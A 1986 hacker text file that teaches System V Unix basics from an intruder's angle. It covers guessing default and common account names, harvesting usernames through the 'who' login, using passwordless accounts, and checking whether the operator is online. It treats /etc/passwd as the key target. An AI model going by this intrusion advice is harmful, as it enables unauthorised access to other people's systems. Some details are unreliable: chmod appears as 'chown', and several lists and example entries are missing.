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                **                                             **
                **         Unix Use and Security From          **
                **              The Ground Up                  **
                **                                             **
                **                   by                        **
                **                                             **
                **              The Prophet                    **
                **                                             **
                **                                             **

December 5, 1986.

        The Unix operating system is one of the most heavily used mainframe 
operating systems today. It runs on many different computers (Dec VAX's, AT&T's 
3bx series, PDP-11's, and just about any other you can think of- including 
PC's), and there are many different, but pretty much similar, versions of it. 
These Unix clones go by many different names- here are the most common: Xenix, 
Ultrix, Ros, IX/370 (for the IBM 370), PCIX (for the IBM PC), and Berkely (BSD) 
Unix. This file will concentrate on AT&T System V Unix, probably the most 
heavily used version. (The next most heavily used is Berkely Unix.) This file 
will cover just about everything all but THE most advanced hacker will need to 
know about the Unix system, from the most rodent information to advanced 
hacking techniques. This is the second version of this file, and as I discover 
any errors or new tricks, I will update it. This file is, to the best of my 
knowledge, totally accurate, however, and the techniques in it will work just 
as described herein. Note, that these techniques will work on System V Unix. 
Not necessarily all, but most, should work on most other versions of Unix as 
well. Later, if this file is received well, and there is demand for another, I 
will release a file on yet more advanced techniques. If you wish to contact me, 
I can be reached several ways. First, on these boards:

Shadow Spawn   219-659-1503
Private Sector 201-366-4431 (As prophet, not The Prophet...some rodent stole
                             my name.)
Ripco          312-528-5020
Stalag 13      215-657-8523
Phreak Klass 2600 806-799-0016

Or at this voice message system:

Box 7023

I welcome any suggestions, corrections, or feedback of any kind. And lastly, 
thanks for taking the time to read this:

        This file is for [of course] informational purposes only. <Snicker> I 
don't take responsibility for anything anyone does after reading this file.

        A Unix system can easily be identified by its prompts. When you first 
connect to a Unix system, you should receive the login prompt, which is usually 
"Login:" (Note, that the first character may or may not be capitalized.) On 
some systems, this prompt may be ";Login:" or "User:" (Again, the first letter 
may or may not be capitalized.) This may be preceded by a short message, 
(usually something like "WARNING!!! This system is for authorized users 
only!"), the name of the company that owns the system, or the uucp network name 
of the system. (The uucp facilities will be explained in detail later.) At this 
point, you should enter the user name and press return. (You should be in 
lowercase if your terminal supports it.) You should then receive the password 
prompt, "Password:" (And yet again, the "P" may or may not be capitalized.) At 
this point, you should enter your password and press return. If you have 
specified the correct username/password pair, you will then be admitted into 
the system. If you have entered a non-existant username or an incorrect 
password, you will receive the message "Login incorrect" and will be returned 
to the login prompt. There is little information given before login, and there 
is no way to find valid usernames from pre-login information.
        There are no "default" passwords in Unix. When the system is initially 
set up, none of the default accounts or any of the accounts created by the 
system operators has a password, until the system operator or the account owner 
set one for the account. Often, lazy system operators and unwary users do not 
bother to password many (and in some cases, all) of these accounts. To log in 
under an account that doesn't have a password, you have only to enter the 
username at the login prompt. 
        You may encounter some occasional error messages when attempting to log 
in under certain accounts. Here are some of the more common messages, and their 
        1. "Unable to change directory to /usr/whatever"-This means that the 
                account's home directory, the directory which it is placed in
                upon logon, does not exist. On some systems, this may prevent
                you from logging under that account, and you will be returned
                to the login prompt. On other systems, you will simply be
                placed in the root directory. If this is the case, you will
                see the message "Changing directory to '/'".
        2. "No shell"-this means that the account's shell, or command 
                interpreter does not exist. On some systems, the account will
                not be allowed to log in, and you will be returned to the login
                prompt. On other systems, the account will be admitted into the
                system using a default shell, usually the Bourne shell. (The 
                shell will be explained later.) If this is the case, you will
                see the message "Using /bin/sh".

        There are two types of Unix accounts-user and superuser accounts. User 
accounts are the normal user accounts. These accounts have no privileges. 
Superuser accounts are the system operator accounts. These accounts have full 
privileges, and are not bound by the file and directory protections of other 
users. In Unix, there is no hierarchy of privileges-either an account has full 
privileges, or it has none.
        Unix usernames are up to 14 characters long, but usually are within the 
range of 1-8. The usernames can contain almost any characters, including 
control and special characters. (The accounts will usually not contain the 
characters @, control-d, control-j, or control-x, as these characters have 
special meanings to the Unix operating system.) The Unix system comes initially 
configured with quite a few default accounts, some of which are superuser and 
some of which are only user-level accounts. Here is a list of the default 
accounts which usually have superuser privileges:
root (Always!)

The root account is always present on the system, and always has superuser 
capabilities. (Note: most Unix System V systems come initially set up with a 
security feature that prevents superuser accounts from logging in remotely. If 
you attempt to log in under a superuser account remotely on a system with this 
feature, you will receive the message "Not on console", and will be refused 
admission to the operating system. This will NOT prevent you from using 
superuser accounts remotely-you simply have to log in under a user account and 
then switch over to a superuser account using the su utility, which will be 
described later.)
Here is a list of the user-level default accounts:

The bin account, although it is only a user account, is particularly powerful, 
as it has ownership of many of the system's important directories and files. 
Although these are the only default accounts on System V Unix, there are many 
other accounts which I have found to be common to many Unix systems. Here is a 
list of some of the accounts I have found on many Unix systems:
batch           admin           user            demo            test
field           unix            guest           pub             public
standard        games           general         student         help
gsa             tty             lpadmin

Also try variations on the account names, such as rje1, rje2, user1, user2, 
etc. Also, try variations on people's names and initials, such as doej, doe,
john, johnd, jjd, etc.
        No matter what the format for the usernames, one thing is common to all 
systems-almost all of the usernames will begin with a lowercase letter. There 
is a good reason for this-when logging into the system, if the first character 
of the username you type in is in uppr-case, the system automatically assumes 
that your terminal does not support lower-case. It will then send all output to 
you in upper-case, with characters that are supposed to be upper-case preceded 
by a backslash ("\", the Unix escape character), to differentiate them from the 
characters which are meant to be in lower-case. Unix *always* differentiates 
between the cases, so it is best to stay in lower-case while on the system.
        As mentioned before, there are no "default" passwords on Unix. When an 
account is created, it has no password, until the superuser or the account's 
owner sets one for it. Unix passwords are a maximum of 11 characters. The 
password may contain any character, and the system distinguishes between upper 
and lower case characters. Many Unix systems implement a special security 
feature under which passwords must contain at least 2 non-alphanumeric 
characters (similar to Compuserve's password protection). Yet another password 
security feature of Unix allows the superuser to set an expiration date on 
users' passwords.

        Many systems have accounts known as "command logins". These are 
accounts that log in, execute a single command, and are then logged out. These 
accounts rarely have passwords. Here is a list of common command logins:
who     -This is a particularly useful command login. When you enter this at
        the username of a system with this particular account, the system will
        display a list of the users currently on the system. A good way to get
        valid usernames to hack.
time    -Not very useful. Just displays the time.
date    -Ditto the above, but displays the current date. Great if you don't 
        have a calendar.
sync    -This default account is sometimes set up as a command login. It merely
        executes the sync command, which causes any data which is meant to be
        stored to be written to disk.

        The Unix operating system interprets certain characters in special 
ways. Provided here is a list of those special characters, and their meanings 
to the Unix operating system:

Control-D       -This is the Unix end-of-file character.
Control-J       -Some systems interpret this, rather than Control-M, as the 
                return character, while others may use both. The vast majority, 
                however, will only use Control-M.
Control-Delete  -This is the Unix kill character. It will automatically end 
                your current process.
@               -Some systems use this as the kill character.
\               -This is the Unix escape character. Its main use it to 
                differentiate between upper- and lower-case characters when 
                logged in on a terminal that only supports upper-case. For 
                instance, if you wanted to send the command "cd /Mrs/data",
                (never mind what it does right now), you would type this:
                (this is how it would look on your upper-case only terminal)
                CD /\MRS/DATA
                The backslash before the M would let the system know that the M 
                supposed to be upper-case, while the others would simply be 
                interpreted as lower-case.

        The characters will rarely be used in usernames and passwords because 
of the way they are interpreted. Note, however, that these values may usually 
be changed once inside the system using the stty command, which will be 
explained later. for instance, the end of file character could be changed to 
control-A if you wished.

        The Unix shell is the command interpreter program that accepts your 
input and carries out your commands. It is NOT the operating system itself, it 
is the interface between the user and the operating system. The shell is a 
program that is executed when you are logged in, and when you end the shell 
program, you are logged out of the system. There is nothing special about the 
shell program-it is just a regular program, like any other on the Unix system. 
In fact, once you are logged on, you can execute another shell just as you 
would execute a program. This ability, to run multiple shell levels, can be 
used to perform some interesting tricks that will be detailed later in this 
file. There is also more than one kind of shell. All the shells perform the 
same basic function of interpreting the user's commands, but there are a few 
differences. Here is a list of the different shells, their unique 
characteristics, and how to tell which shell you are using:

sh      -This is the Bourne shell, the standard shell of Unix System V, and the
        focus of this file. This shell gives user-level accounts a command 
        prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix,
        this shell gives an ampersand ("&") prompt.

csh     -This is the C shell, developed by the Berkely University Science 
        department. This shell is pretty much the same as the Bourne shell, but
        features different shell programming control structures [shell 
        programming will be explained later, in the section on Unix software
        development], and has a few luxuries such as aliasing (giving a command 
        or a series of commands a new name), and it keeps a history of the 
        commands you enter. This shell gives a "%" prompt for user accounts and
        a "#" prompt for superuser accounts. 

ksh     -This is the new, Korn shell. This shell combines features of both the 
        Bourne shell and the C shell. It boasts the Bourne shell's easier shell
        programming, along with the C shell's aliasing and history. Its prompts
        are "$" for users and "#" for superusers.

rsh     -This is the restricted Bourne shell. It is used for accounts that the
        superuser wishes to restrict the commands available to. It will not 
        allow you to execute commands outside of your searchpath (which will be
        explained later, also, in the section on software development), and 
        will not let you change directories or change the values of shell
        variables. In all other respects, it is similar to the Bourne shell. A 
        later section of this file will detail ways to overcome the
        restrictions of this shell.

ua      -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there
        are some of those with dialups!) It implements a lousy windowing
        system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the
        Bourne shell from the ua shell.

        These are by no means all of the shells you will run across. These are 
only the "official" shells provided by the distributors of the Unix operating 
system. I've run across many "home-made" shells in my time. Also, any compiled 
program can be used as a shell. For instance, I've used systems run by 
businesses where one account logged in using an accounting program as a shell. 
This prevented the account from being used to do anything other than use the 
accounting program. Other good examples of this are the command logins-the who 
command login, for example, uses the who program as its shell. When the program 
is finished, the account is logged out. You will most definitely encounter 
other such accounts as you hack Unix.

        Unix files and directories are referenced with pathnames, a la MS-DOS.
If you are familiar with MS-DOs, then you should have no problem understanding 
this section. Unix files and directories are referenced in the almost the exact 
same way-the only difference is that it uses the "/" character, not the 
backslash, to separate the directories in the pathname.
        Pathnames are a simple concept to understand, but are difficult to 
explain. Imagine the system's files and directories laid out in a tree fashion, 
like this:
                                / (root directory)
                        :                       :
                        :                       :
                        usr (dir)              bill (dir)
                        :                       :
                 --------------           --------------
                 :            :           :            :
              junk (file)  source (dir)  memo (file)  names (file)

"/" is the root directory. This is the top directory in the system tree, and 
all other files and directories are referenced in relation to this directory. 
The root directory has 2 subdirectories in it, "usr" and "bill". In the usr 
directory, there is a file called "junk" and an empty directory called 
"source". In the directory bill, there are 2 files, "memo" and "names". You 
specify pathnames by starting at the top of the system, "/", and tracing your 
way down the system tree to the file or directory you wish to reference, 
separating each directory you must pass through to get to it with a slash. For 
instance, the pathname of the file "junk" would be "/usr/junk". The pathname of 
the usr directory would be "/usr". The pathname of the source directory would 
be "/usr/source". The pathname of the bill directory would be "/bill", and the 
pathnames of the 2 files which reside in it would be "/bill/memo" and 
        Files and directories can also be referenced by their base names if 
they are in your current directory. For instance, if you were in the directory 
"usr", you could reference the file "/usr/junk" by its base name, "junk". If 
you were in the root directory, you could reference the bill directory by its 
base name, "bill". You can reference the file directly above your current 
directory in the system tree as ".." and your current directory can be 
referenced as "."
        Unix file and directory names can be up to 14 characters in length. The
filename can contain any ASCII character, including control characters, except
a space. It may contain both upper- and lower-case, and Unix does distinguish
between the two. Unix does not use filename extensions, a la VMS or MS-DOS, to 
show the kind of file a file is. A period, in Unix, is just another character 
in the filename, not a separator between 2 fields in the name. File names which 
begin with a period are called "hidden" files-that is, they are only revealed 
if you issue a special command.
        There are 3 kinds of files in Unix. These are text files, binary files,
and device files. Text files are just what you'd think they are from the name-
files of ASCII text, just like what you're reading right now. Binary files are
executable machine-code files. (There are also executable text files, called 
shell scripts, that will be explained in detail in the section on Unix software 
development.) Device files are files that represent the system's I/O devices-
disk drives, terminals, etc. Remember, that Unix was created as an enviroment 
for software development. Its designers wished for programs written for Unix 
systems to be as transportable between different models of machines running 
the operating system as possible. By representing the I/O devices as files, 
they eliminated the incompatability in the code that handled I/O. The program 
simply has to read and write from/to the file, and the Unix operating system 
handles the system-dependant details.

        This section will describe some basic Unix commands, and detail how to 
get further help on-line. It will briefly provide the syntax for a few commands 
you will find necessary to know in order to find your way around on the system.
        Unix will usually only require that you use the base name of a file or 
directory you wish to reference if it is in the directory you are currently in. 
Most commands will also let you specify full pathnames if you wish to reference 
files in other parts of the system. Most commands will also let you use several 
wildcard characters when referencing files and directories. These are:
?       -This means to accept any single character in the place of the question
        mark. For instance, "t?m" would include both "tom" and "tim".

*       -This means to accept any character, group of characters, or nothing in
        the position of the asterisk. For example, "t*m" would include "thom",
        "tom", and "tim".
[]      -This means to accept any character within the brackets in the position 
        of the brackets. For instance, "t[oia]m" would include "tom", "tim", 
        and "tam". You can also specify a range of characters in the brackets 
        by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm",
        and "tcm".

        Most commands and programs in Unix take their input from the keyboard 
and send their output to the screen. With most commands and programs, however, 
you can instruct them to draw their input from a text file and redirect their 
output to another file instead. For instance, assume there is a program on the 
system called "encrypter", that takes its input from the keyboard, encrypts it, 
and displays the encrypted data on the screen. You could instruct the program 
to take its input, instead, from a previously prepared text file using the 
input redirection character, "<". In Unix, as in MS-DOs (which is based in part 
on Unix), you execute a program by typing its name. You wish the program to 
take its input from a file in the directory you are currently in called 
"top_secret". You would type "encrypter < top_secret". The program would then 
read in the contents of the file top_secret and encrypt it, then print out the 
encrypted form on the screen. Suppose you wanted to use the encrypter program 
to encrypt files you wished to keep private? You could redirect the encrypted 
output from the screen into another file. To do this, you would use the output 
redirection character, ">". Say, you wished to save the output in a file called 
"private". You would type "encrypter < top_secret > private". The encrypter 
program would then read in the contents of the file top_secret and write the 
encrypted output into the file "private". Nothing would be displayed to the 
screen. If the file private does not exist, it will be created. If it 
previously existed, its contents will be erased and replaced with the output 
from the encrypter program. Perhaps you would want to add to the contents of a 
file rather than replace its contents? This is done with ">>". The command 
"encrypter < top_secret >> private" would append the output from the encrypter 
to the current contents of the file private. Again, if the file private does 
not already exist, it will be created.
        Most commands have one or more options that you can specify. These are 
placed after the command itself in the command line, and preceded by a hyphen. 
For instance, let's say that the encrypter program had an option called 
"x", which caused it to use a different encoding algorithm. You would 
specify it by typing "encrypter -x". If a command has two or more options, you
can usually specify one or more together in a stream. For instance, let's say 
that the encrypter program has 2 options, x and y. You could specify both like 
this: "encrypter -xy". If one or more of the options requires an argument, for 
example the x option requires a 2 character key, you can specify the options 
separately, like this: "encrypter -xaa -y", where aa is the 2-character key. 
        The pipe character, "|", is used to channel the output of one command 
or program into the input of another. For instance, suppose you had a command 
called "report" that formatted documents into report format, and you had a file 
called "myreport" that you wished to view in the report format. You could type:
"cat myreport" | report". This would type out the contents of the file myreport 
to the report command rather than the screen, and the report command would 
format it and display it on the screen. (Note: this example could have been 
done with I/O redirection by typing "report < myreport"...but it makes a good 
example of the use of pipes.)
        You can choose to execute commands and programs in the background-that 
is, the command executes, but you are free to carry out other tasks in the 
meantime. To do this, type in the command line, followed by " &". For instance, 
"rm * &" would delete all the files in the directory, but your terminal would
not be tied up. You would still be free to perform other tasks. When you do 
this, the system will print out a number and then return you to the system 
prompt. This number is the process number of the command. Process numbers will 
be explained later in this section in the entry for the command "ps". The 
command can be stopped before its completion with the kill command, also 
explained in this section. Example:
        $rm * &

Note that when you use background processing, the command or program will still 
takes its input from the keyboard (standard input device) and send its output 
to the screen (standard output device), so if you wish for the command to work 
in the background without disturbing you, you must redirect its input (if any) 
and its output (if it's to the screen).


ls      -This command lists the files and subdirectories in a directory. If you 
        simply type "ls", it will display the files in your current directory. 
        You can also specify the pathname of another directory, and it will 
        display the files in it. It will not display hidden files (files whose
        name begins with a period). 

        a       -This option will display all files, including hidden files.

        $ ls -a

        .       ..      junk    source

cd      -This is the command used to move from one directory to another. To go 
        to a directory directly below your current directory, type "cd 
        <dirname>". To move up to the directory directly above your current 
        directory, type "cd .."  You can also jump to any directory in the 
        system from any other directory in the system by specifying the path-
        name of the directory you wish to go to, such as "cd /usr/source".

        $cd /usr/source

pwd     -This prints out the pathname of the directory you are currently in. 
        Useful if you forget where you're at in the system tree.


cat     -Displays the contents of a text file on the screen. The correct syntax 
        is "cat <filename>". You can use basenames or pathnames.

        $cat memo
          Remember to feed the cat!

rm      -This deletes a file. Syntax: "rm <filename>".

        $rm junk

cp      -Copies a file. Syntax: "cp file1 file2", where file1 is the file you
        wish to copy, and file2 is the name of the copy you wish to create. If 
        file2 already exists, it will be overwritten. You may specify pathnames
        for one or both arguments.

        $cp /usr/junk /usr/junk.backup

stty    -Displays/sets your terminal characteristics. To display the current 
        settings, type "stty". To change a setting, specify one of the options
        listed below.

   echo         -System echoes back your input.
   noecho       -System doesn't echo your input.
   intr 'arg'   -Sets the break character. The format is '^c' for control-c, 
                etc. '' means no break character.
   erase 'arg'  -Sets the backspace character. Format is '^h' for control-h,
                etc. '' means no backspace character.
   kill 'arg'   -Sets the kill character (which means to ignore the last line
                you typed). Format is the same as for intr and erase, 
                '^[character]', with '' meaning no kill character.

        $stty intr '^c' erase '^h'
        stty -echo intr '^c' erase '^h' kill '^x'
lpr     -This command prints out a file on the Unix system's printer, for you 
        to drop by and pick up (if you dare!) The format is "lpr <filename>".

        $lp junk

ed      -This is a text file line editor. The format is "edit <filename>". The 
        file you wish to modify is not modified directly by the editor; it is 
        loaded into a buffer instead, and the changes are only made when you 
        issue a write command. If the file you are editing does not already 
        exist, it will be created as soon as issue the first write command. 
        When you first issue the edit command, you will be placed at the
        command prompt, ":" Here is where you issue the various commands. Here
        is list of some of the basic editor commands.
        #       -This is any number, such as 1, 2, etc. This will move you down 
                to that line of the file and display it.
        d       -This deletes the line you are currently at. You will then be
                moved to the previous line, which will be displayed.
        a       -Begin adding lines to the file, just after the line that you 
                are currently on. This command will put you in the text input
                mode. Simply type in the text you wish to add. To return to the
                command mode, type return to get to an empty line, and press
                the break key (which is whatever character you have set as your
                break key). It is important to set the break character with 
                stty before you use the editor!
        /       -Searches for a pattern in the file. For example, "/junk" would
                search the file from your current line down for the first line
                which contains the string "junk", and will move you to that 
                line if it finds one.
        i       -Insert. Works similar to a, except that the text is inserted
                before the line you are currently on.
        p       -Prints out a line or lines in the buffer. "p" by itself will
                display your current line. "#p" will display the line "#". 
                You may also specify a range of lines, such as "1,3p" which
                will display lines 1-3. "1,$p" will print out the entire file.
        w       -Write the changes in the buffer to the file.
        q       -Quit the editor.

        $edit myfile
        Editing "myfile" [new file]
        0 lines, 0 characters
        I am adding stupid text to myfile.
        This is a test.
        ^c [this is assumed as a default break character in this example]
        I am adding stupid text to myfile.
        This is a test.
        This is a test.
        I am adding stupid text to myfile.

grep    -this command searches for strings of text in text files. The format is
        grep [string] [file]. It will print out every line in the file that 
         contains the string you specified.

        v       -Invert. This will print out every line that DOESN'T contain
                the string you specified.

        $ grep you letter
        your momma!
        I think you're going to get caught.

who     -This will show the users currently logged onto the system.

        $ who

        root    console Mar 10  01:00
        uucp    contty  Mar 30  13:00
        bill    tty03   Mar 30  12:15
        Now, to explain the above output: the first field is the username of 
        the account. The second field shows which terminal the account is on.
        Console is, always, the system console itself. On many systems where
        there is only one dialup line, the terminal for that line is usually 
        called contty. the tty## terminals can usually be either dialups or
        local terminals. The last fields show the date and time that the user
        logged on. In the example above, let's assume that the current time and
        date is March 30, and the time is 1:00. Notice that the time is in 24 
        hour format. Now, notice that the root (superuser) account logged in on
        March 10! Some systems leave the root account logged in all the time on
        the console. So, if this is done on a system you are using, how can you
        tell if the system operator is really online or not? Use the ps 
        command, explained next.

ps      -This command displays information about system processes.

        u       -this displays information on a specific user's processes. For
                instance, to display the root account's processes:
                $ ps -uroot

                PID     TTY     TIME    CMD
                1234    console 01:00   sh
                1675    ?       00:00   cron
                1687    console 13:00   who
                1780    tty09   12:03   sh

                Now, to explain that: The first field is the process number. 
                Each and every time you start a processes, running a program,
                issueing a command, etc., that process is assigned a unique 
                number. The second is which terminal the process is being run
                on. The third field is when the process was started. The last
                field is the base name of the program or command being run.
                A user's lowest process number is his login (shell) process.
                Note that the lowerst process in the above example is 1234. 
                This process is being run on the console tty, which means the
                superuser is logged on at the system console. Note the ? as the
                tty in the next entry, for the cron process. You can ignore any
                processes with a question mark as the terminal. These processes
                are not bewing carried out by a user; they are being carried
                out by the system under that user's id. Next, note the entry
                for process # 1687, on the console terminal, "who". this means
                that the superuser is executing the who command...which means
                he is currently actively on-line. The next entry is interest-
       shows that the root user has a shell process on the 
                terminal tty09! This means that someone else is logged in
                under the root account, on tty09. If more than one person is
                using an account, this option will display information for all
                of them, unless you specify the next option...

        t       -This allows you to select processes run on a specific term-
                inal. For example:
                $ps -t console
                will show all the processes currently being run on the console.

                Remember, options can usually be combined. This will show all
                the root user's processes being run on the system console:
                $ ps -uroot -tconsole

                PID     TTY     TIME    CMD
                1234    console 01:00   sh
                1687    console 13:00   who

kill    -Kills processes. Syntax: kill [-#] process#. You must know the process
        number to kill it. You can, optionally, specify an option of 1-9, to
        determine the power of the kill command. Certain kinds of processes,
        like shell processes, require more power to kill. Kill -9 will stop any
        process. You must have superuser capabilities fo kill another user's
        processes (unless he's using your account).

        $kill -9 1234
        1234 killed.

write   -This command is for on-line realtime user to user communications. To 
        communicate with a user, type "write <username>". If more than one
        person is logged in under that user name, you must specify a specific
        terminal you wish to speak to. When you do this, the person you wish
        to communicate with will see:
        Message from [your account name] tty## [<--your terminal]

        Now you can type messages, and they will be displayed on that person's
        terminal when you press return. When you are finished, press control-D
        to quit.

        $ write root
        Fuck you I'm a hacker!  [This is not advised.]

mail    -The Unix mail facilities, used to send/receive mail. To send mail, 
        type "mail <username>". Enter your message and press control-d to send.
        To read your mail, type "mail". Your first letter will be displayed,
        and then you will be given a "?" prompt.  
        Here are the legal commands you give at this point: 
        ##      -Read message number ##.
        d       -Delete last message read.
        +       -Go to next message.
        -       -Move back one message.
        m       -Send mail to user.
        s       -Save last message read. You can specify the name of the file
                to which it is saved, or it will be saved to the default file,
        w       -Same as s, but will save the message without the mail file
        x       -Exit without deleting messages that have been read.
        q       -Exit, deleting messages that have been read.
        p       -Print last message read again.
        ?       -Lists these commands.

        To send mail:
        $ mail root
        Hi bill! This is a nice system.
        To read mail:
        $ mail
        From john Thu Mar 13 02:00:00  1986
        Hi bill! This is a nice system.
        ? d
        Message deleted.

crypt   -This is the Unix file encryption utility. Type "crypt". You will then
        be prompted to enter the password. You then enter the text. Each line
        is encrypted when you press return, and the encrypted form is displayed
        on the screen. So, to encrypt a file, you must use I/O redirection.
        Type "crypt [password] < [file1] > [file2]". This will encrypt the con-
        tents of file1 and place the encrypted output in file2. If file 2 does
        not exist, it will be created.

passwd  -This is the command used to change the password of an account. The
        format is "passwd <account>". You must have superuser capabilities to
        change the password for any account other than the one you are logged
        in under. To change the password of the account you are currently
        using, simply type "passwd". You will then be prompted to enter the
        current password. Next, you will be asked to enter the new password.
        Then you will be asked to verify the new password. If you verify the
        old password correctly, the password change will be complete. (Note:
        some systems use a security feature which forces you to use at least
        2 non-alphanumeric characters in the password. If this is the case with
        the system you are on, you will be informed so if you try to enter a
        new password that does not contain at least 2 non-alphanumeric char-

su      -This command is used to temporarily assume the id of another account.
        the format is "su <account>". If you don't specify an account, the
        default root is assumed. If the account has no password, you will then
        assume that account's identity. If it does have a password, you will
        be prompted to enter it. Beware of hacking passwords like this, as the
        system keeps a log of all attempted uses, both successful and un-
        successful, and which account you attempted to access.

mkdir   -This command creates a directory. the format is "mkdir <dirname>".

rmdir   -This command deletes a directory. The directory must be empty first.
        The format is "rmdir <dirname>".

mv      -Renames a file. The syntax is "mv [oldname] [newname]". You can use
        full pathnames, but the new name must have the same pathname as the
        old name, except for the filename itself.

        Further help can usually be gained from the system itself. Most systems 
feature on-line entries from the Unix System User's Manual. You can read these 
entries using the man command. The format is "man <command>". Some Unix System 
V systems also feature a menu-driven help facility. Simply type "help" to 
access it. This one will provide you with a list of commands, as well as with 
the manual entries for the commands.

        Every Unix account is assigned a specific user number, and a group 
number. This is how the system identifies the user. Therefore, 2 accounts with 
different usernames but the same user number would be considered by the system 
to be the same id. These user and group numbers are what Unix uses to determine 
file and directory access privileges.
        Unix has three different file/directory permissions: read, write, and 
execute. This how these permissions affect access to files:

read    -Allows a user to view the contents of the file.
write   -Allows a user to change the contents of a file.
execute -Allows a user to execute a file (if it is an executable type of file;
        if it isn't, the user will get an error when trying to execute it).

This is how these permissions affect access to directories:

read    -Allows a user to list out the files in a directory (ls).
write   -Allows a user to save and delete files in this directory.
execute -If a user has execute access to a directory, he can go to that dir-
        ectory with the cd command. If he also has read permission to that dir-
        ectory, he can also copy files from it and gain information on the 
        permissions for that directory and the files it contains, with the "l"
        option to the ls command, which will be explained soon.

        Unix divides users into 3 classes: user (the owner of the file or dir-
ectory), group (members of the owner's group), and other (anyone who doesn't 
fit into the first two classes). You can specify what permissions to give to a 
file for each class of user.
        To show the permissions of the files in a directory, use "ls -l". This 
will list the contents of the directory (as in ls), and will show each's 
permissions. For example:
        bin     startrek
        $ ls -l
        drwxrwxrwx   1   bin      sys 12345   Mar 10  01:30   bin
        -rwxr-xr--   1   guest  users   256   Mar 20  02:25   startrek

        In the above example, the directory we are in contains a subdirectory 
called bin and a file called "startrek". Here is an explantion of the fields:
The first field contains the file's type and permissions. Look at the first 
field of the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see 
the "-" at the begginging of the first field for the file startrek. This shows 
the file type. "D" is a directory. "-" is a file. "c" is a device file. Now, 
back to the first field of the first line again. Notice the "rwxrwxrwx". These 
are the permissions. The permissions are divided into three groups:
[user][group][other]. R stands for read, w stands for write, and x stand for 
execute. "rwxrwxrwx" means that all three classes of users, owner, group, and 
other, have read, write, and execute permissions to the directory bin. Now look 
at the second line. It reads "rwxr-xr--". Notice the "-"'s in the place of some 
of the permissions. This means that the file was not given that permission. 
Line 2 shows that the owner has read, write, and execute permissions for the 
file startrek, members of the owner's group have read and execute permissions 
but not write (notice the "-" in the place of the group part's w), and all 
others have only read privileges ("r--"...there are hyphens in the place of the 
others part's w and x). 
        Now, let's look at the other fields. The second field is a number (in 
this case, the number is one for each line). This shows the number of copies of 
this file on the system. The third field shows the name of the owner of file 
(or directory). The fourth field shows the username of the owner of the file. 
The fifth field, which is not shown on some systems, shows the name of the 
owner's group.The sixth field shows the size of the file. the seventh field 
shows the time and date the file was last modified. the last field shows the 
name of the file or directory.
        The command used to change file/directory permissions is chmod. There 
are 2 ways to change permissions: symbolically and absolutely. This will 
explain both.
        When you change permissions symbolically, only the permissions you 
specify to be added or deleted will be changed. The other permissions will 
remain as they are. The format is:
chown [u, g, or o] [+ or -] [rwx] [file/directory name]
The following abbreviations are used:
u       -User (the file or directory's owner)
g       -Group (members of the owner's group)
o       -Others (all others)
r       -Read permission
w       -Write permission
x       -Execute permission

You use u, g, and o to specify which group you wish to change the privileges 
for. To add a permission, type "chown [class]+[permissions] [filename]". For 
instance, to add group write permissions to the file startrek, type "chown g+w 
startrek". To delete permissions, use the "-". For instance, to remove the 
owner's write access to the file "startrek", type "chown u-w startrek".

        When you set file permissions absolutely, any permissions that you do 
not give the file or directory are automatically deleted. The format for 
setting permissions absolutely is "chown [mode number] filename". You determine 
the mode number by adding together the code numbers for the permissions you 
wish to give the file. Here are the permissions and their numbers:

Others execute permission       1
Others write permission         2
Others read permission          4

Group execute permission        10
Group write permission          20
Group read permission           40

User (owner) execute permission 100
User (owner) write permission   200
User (owner) read permission    400

        There are also two special file modes that can be set only absolutely. 
These are the UID and GID modes. The UID mode, when applied to an executable 
file, means that when another user executes the file, he executes it under the 
user number of the owner (in other words, he runs the program as if he were the 
owner of the file). If the file has its GID mode bit set, then when someone 
executes the file, his group will temporarily be changed to that of the file's 
owner. The permission number for the GID mode is 2000, and the number for the 
UID mode is 4000. If the uid bit is set, there will be an "S" in the place of 
the x in the owner permissions section when you check a file's permissions:
If the uid bit is set, and the owner of the file has execute permissions, the S 
will not be capitalized:
If the gid bit is set, the same applies to the x in the section on group 
        A short note here is in order on how these permissions affect superuser 
accounts. They don't-unless the owner of the file is root. All superuser 
accounts have the same user number, which means that the system considers them 
all to be the same-that is, they are considered to be the root account. Thus, 
superuser accounts are only bound by the protections of files and directories 
that they own, and they can easily change the permissions of any files and 
directories that they do not have the access to that they wish.

        This section will detail the purposes of some files that are found on 
all systems. There are quite a few of these, and knowing their uses and what 
format their entries are in is very useful to the hacker.


/etc/passwd     -This is the password file, and is THE single most important 
                file on the system. This file is where information on the
                system's accounts are stored. Each entry has 7 fields:
                username:password:user#:group#:description:home dir:shell

                The first field, naturally, is the account's username. The
                second field is the account's password (in an encrypted form).
                If this field is blank, the account doesn't have a password. 
                The next field is the account's user number. The fourth field
                is the account's group number. The fifth field is for a
                description of the account. This field is used only in the
                password file, and is often just left blank, as it has no
                significance. The sixth field is the pathname of the account's
                home directory, and the last field is the pathname of the 
                account's shell program. Sometimes you may see an account with
                a program besides the standard shell programs (sh, csh, etc.)
                as its shell program. These are "command logins". These 
                accounts execute these programs when logging in. For example,
                the "who" command login would have the /bin/who program as its
                Here is a typical-looking entry:


                This entry is for the root account. Notice that the encrypted 
                form of the password is 13 characters, yet the Unix passwords
                are only 11 characters maximum. The last 2 characters are what
                is called a "salt string", and are used in the encryption
                process, which will be explained in more detail later. Now,
                notice the user number, which is zero. Any account with a user
                number of 0 has superuser capabilities. The group number is 1.
                The account description is "superuser". The account's home dir-
                ectory is the root directory, or "/". The account's shell is
                the bourne shell (sh), which is kept in the directory /bin.
                Sometimes you may see an entry in the password field like this:
                Notice the period after the 13th character, followed by 2
                digits and 2 letters. If an account has an entry like this, the
                account has a fixed expiration date on its password. The first
                digit, in this case 2, shows the maximum number of weeks that
                the account can keep the same password. The second digit shows
                how many weeks must pass before the account can change its 
                password. (This is to prevent users from using the same old
                password constantly by changing the password when forced to and
                then changing it back immediately.) The last 2 characters are
                an encrypted form of when the password was last changed.
                Other unusual password field entries you might encounter are:
                The first entry means that the account has no password. The
                second entry means that the account has no password yet, but
                has a fixed expiration date that wil begin as soon as a pass-
                word is given to it.
                        Now, for an explanation of how the Unix system encrypts
                the passwords. The first thing any hacker thinks of is trying
                decrypt the password file. This is as close to impossible as
                anything gets in this world. I've often heard other "hackers"
                brag about doing this...this is the biggest lie since Moses
                said "I did it". The encryption scheme is a variation on the
                DES (Data Encryption Standard). When you enter the command
